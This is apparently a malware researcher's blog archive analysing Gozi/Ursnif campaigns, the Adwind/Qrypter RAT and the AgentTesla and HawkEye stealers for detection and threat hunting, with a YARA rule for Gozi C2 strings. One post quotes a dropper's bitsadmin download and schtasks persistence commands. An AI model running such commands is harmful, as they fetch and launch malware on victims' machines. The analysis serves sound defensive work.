Monday, December 31, 2018

Knowing your adversaries and their TTPs. The Gozi case

Gozi (aka Ursnif), as many other financial malware, is used by several different actors operating world-wide. In a daily basis I see Gozi campaigns trying to infect users, however each campaign has their own 'particularities' which permit to differentiate between each campaign and the different criminal groups using the same malware. This set of 'particularities' are know as Tactics, Techniques and Procedures (TTPs).

A good resource to understand the different tactics and techniques used by adversaries is MITRE ATT&CK.  A lot of these techniques are mapped and implemented through the sigma project from Florian Roth, which can be deployed in several SIEM vendors. However, a key requirement to implement these rules is to have proper end-point monitoring on account that most of the techniques from ATT&CK are base on end-point detection. In Windows environments, this includes events from Sysmon, Windows security logs and PowerShell logs. 

Monitoring PowerShell is nowadays a must as many adversaries are using PowerShell, and frameworks using PowerShell like Empire, PowerSploit, Cobalt Strike, etc, as part of their tool arsenal.  
A few weeks back, during Botconf 2018, Tom Ueltschi did a presentation with the title "Hunting and detecting APTs using Sysmon and PowerShell logging". During his presentation Tom focused on detecting the ATT&CK techniques T1084 (Windows Management Instrumentation Event Subscription), T1037 (Logon Scripts) and T1086 (PowerShell) and he explained the approach he followed to detect APT attacks which use PowerShell at some point.

Going back to Gozi, the idea is to use some of the unique TTPs to cluster different campaigns and associate them to unique groups. For that, I focus the analysis on some key aspects:

  • Delivery Mechanism: Email is the main distribution mean, however there are differences between campaigns. For example, in some campaigns stolen email credentials are used. In some other other fake invoices are used as attachment, etc.
  • Attachment / Link: In some cases, the attached file is a VBS script. Other times, it is weaponised Microsoft Word Documents. Eventually, there is not attachment but malicious link.
  • Utilities: Built-in tools from the OS that are being used. For example, PowerShell, cmd.exe, certutil.exe, BITS, etc.
  • Full Command: Unique set of commands being use to pull the malware. This combines the utilities but sometimes using some unique 'patterns'.
  • Binary signed: whether the dropped binary is signed or not.
  • Gozi Version: version 2 or 3.

(This is just an example of some of the key indicators that can be used to cluster difference campaigns)

Analysis  of the VBS, Gozi version, PowerShell commands..

For the analysis of the different campaigns I combined some dynamic analysis techniques with sandboxes, similar to what I did here, and some debugging. For example, for the VBS scripts and in order to extract the set of commands without fully detonating the malware I use x32dbg with a breakpoint on Shell32.ShellExecuteExW.

By the way, with proper PowerShell logging the transcript of the logs provides the full set of commands executed:

The analysis of the Gozi Binary version is done with some Yara rules running in memory. 

Putting all together, I am able to create some matrix where I can identify the overlap between campaigns, which potentially link to unique actors: 

Saturday, November 24, 2018

Hunting malware in memory. A Gozi case.

Some of the actors using Gozi / Ursnif take advantage of compromised emails (BEC) to deliver weaponised Microsoft Office documents. This is not new at all, however in the last week I've seen an increase of such attacks. In recent campaigns, the office document contains a macro which spawn a cmd.exe which executes a PowerShell to download the payload.

This could be easily detected with any end-point use case which monitors processes and parent processes.

Also, Gozi can be easily detected via the registry keys as the malware itself is stored there.

The dropped payload from this Gozi version executes some unique  PowerShell command in order to persist in the registry key, which can be easily hunt:

Some endpoints solutions have the capability to run searches against Yara rules. In some cases the searches can cover running processes, live memory and specific files within a given folder. A good example is the open source project malscan which permits to scan process in memory. This is really an interesting way to detect malware in end-points.

For details on how Gozi works, there is a good post from Vitali Kremez explaining how recent versions of Gozi works.  In essence, Gozi injects a DLL (client.dll) in the explorer.exe process so it is possible to hunt for the URL C2 strings in this process. I already extracted the URL C2 strings in some past blog entry 

rule gozi_C2_memory {
      description = "Gozi C2 memory"
      author = "@Angelill0 -  Angel Alonso Parrizas"
      date = "2018-11-19"

        $s1 = /soft=\S+&version=\S+&user=\S+&server=\S+&id=\S+/  // Gozi V2
        $s2 = /soft=\S+&user=\S+&server=\S+&id=\S+/ // Gozi V2
        $s3 = /soft=\S+&version=\S+&user=\S+&group=\S+&id=\S+/  //Gozi V3

        $s1 or $s2 or  $s3


Running the Yara rule against an infected system, it is possible to detect the C2 in memory:

Monday, August 6, 2018

Gozi malspam campaign mimicking Swisscom on 30th July 2018

A few days ago informed via twitter about a malspam campaign mimicking Swisscom invoices.

The malware delivered in the latest stage was Gozi / Ursnif. But let's analyse a bit this campaign.

The malspam campaign is based on e-mails mimicking invoices from the telco Swisscom and with a HTTP link to a ZIP file. The ZIP files contains an obfuscated Visual Basic Script (VBS)

The VBS was not detected by many AV:

The script executed the following commands:

C:\Windows\System32\cmd.exe' /c bitsadmin /transfer mxs5 C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe &

bitsadmin /create /download IUII &bitsadmin /addfile IUII C:\Users\user~1\AppData\Local\Temp/oXzEXmPNy.txt &

bitsadmin /setcustomheaders IUII User-Agent:STARLEX &

bitsadmin /resume IUII &bitsadmin /complete IUII &

schtasks /create /st 17:10 /sc once /tn sw3 /tr C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe

It is interesting to see how the command 'bitsadmin' is used to drop the payload from "" . This technique is well known to be used by malware so it is a must to monitor such process, for example via Sysmon.
Also, the fact that the user-agent is setup to "STARLEX" makes this campaign unique, however, looking to the network traffic, it seems that this never worked and it used the default bitsadmin user-agent:

In any case, monitoring the user agent either for strange names or "Microsoft BITS" will provide good insight about suspicious activity.
The last two steps are related to the schedule task created via "schtasks" command. This is a good technique to delay automatic malware sandbox analysis, but it is also very easy to detect via proper detection use cases. Two things here can be monitored: the command "schtasks /create" and the fact that a binary under the "AppData" folder is called. Generally talking there should not be binaries being called from *AppData* as this is also a suspicious activity.

Clearly, this Gozi campaign was very noisy and easy to detect with some basic use cases.

Regarding the analysis of the Gozi binary dropped, there are a couple o interesting things. First, it was signed with a valid certificate:

And this same certificate was used to sign other Gozi binary used in other campaign in other country the same day. 

Secondly, it seems the malware had some debug code enabled which showed the version of the code (version 3 build 613)

The last point is that this version of Gozi/URsnif seems to be based on this leak ISFB source code on account that the DGA CRC matches '0x4eb7d2ca' together with the DGA base URL ""

However this version of Gozi is not using the DGA feature,  but the URL acting as C2 is hardcoded

Thursday, May 10, 2018

qthelegend: the new Qrypter for Adwind

Since last December, when I blogged  the first time about Qrypter, I've been tracking Adwind malware using this service. wrote a very interesting post about the providers hosting the C2 infrastructure which is being used by malware encrypted with Qrypter.

Since a few weeks Qrypter has migrated to a new platform and doesn't use Tor any more

The new version of Qrypter uses a Java application running locally, which encrypts the files.

In order to use the application, the user must be registered and buy a license  (credits). 

I wanted to check if there is any substantial change in how the malware is encrypted with the service, hence I took a look to a recent sample. The behaviour analysis doesn't really show any difference. 

While debugging the malware  I can see the different Java processes executed until the final payload is decrypted and executed

In the end the configuration for the command and controlled is obtained the same way than with previous Qrypter version

During the analysis process, I can see the typical Adwind behaviour executing VB scripts for checking AV installed, local firewall and making itself persistent via the registry

Qthelegend, the new Qrypter, has not really change in terms of how the malware is encrypted.

Thursday, March 15, 2018

Inside Qarallax / Adwind / Qrypter leading to Tesla / HawkEye (part 1)

A few months ago I wrote about some Java RAT named QRypter (aka QRat or Qarallax) which is basically Adwind with some layers of obfuscation. The post is here.

Usually, this RAT is used as first stage of the infection. In a second stage additional payload is deployed in the victim. But before I explain this, let's take a look to the capabilities of this QRypter / Adwind.

This RAT written in Java is multiplatform. As it can be seen in the screenshot below is full of functionalities.  

The basic options permits to have full visibility and take control on the victims's file system, processes, connections, etc

But besides that, there are more advance functionalities like capture the webcam, access via Remote Desktop, remote console, retrieve stored password, capture the microphone, key logger, SOCKS proxy, retrieve the data from wallets, etc.

For each of the functionalities, there is an existing module. The modules are original from JBifrost malware, so clearly this is based on JBifrost malware.

Also, the remote console is based on JBifrost

The remote desktop functionality permits also to add new users

But, if all this features are not enough, there is also the possibility to automatically download any additional payload once the victims connects to the C2. This allows to deploy any additional payload to the victims without any interaction in the C2


Actually, lot of AgentTesla and HawkEye are being deployed this way.

So, let's talk about a bit AgentTesla and HawkEye

This two families of malware are very close in terms of capabilities and are used by threat actors which operate with similar TTPs. 

HawkEye and AgentTesla main target is to take screenshots of the victims, dump all the passwords stored in different programs (Outlook, browser, etc) and dump all the historical of cute&paste / keylog done in the system. The data is exfiltrated either via HTTP or via mail.

The first thing that happens, after a victim is infected via HawkEye, is that the threat actor receives an email informing that there is a new infection. This is a "Execution Confirmed" message. The content of such data is quite interesting as it contains information about the system, including the name of the file which was the infection vector, the private IP of the system the time frame to log and the functionality enabled.

On the other hand, AgentTesla already provides some data exfiltrated with information about the victim and screenshots in the first email. This is  "screen capture"

HawEye  provides 2 other messages: "stealer records" and "keylog records". The first one is password dumps,  while the second one is all the information recorded in the clipboard and a screenshot

AgentTesla sends two additional set of data: "Keystrokes" and "password recovered".

(To be continued)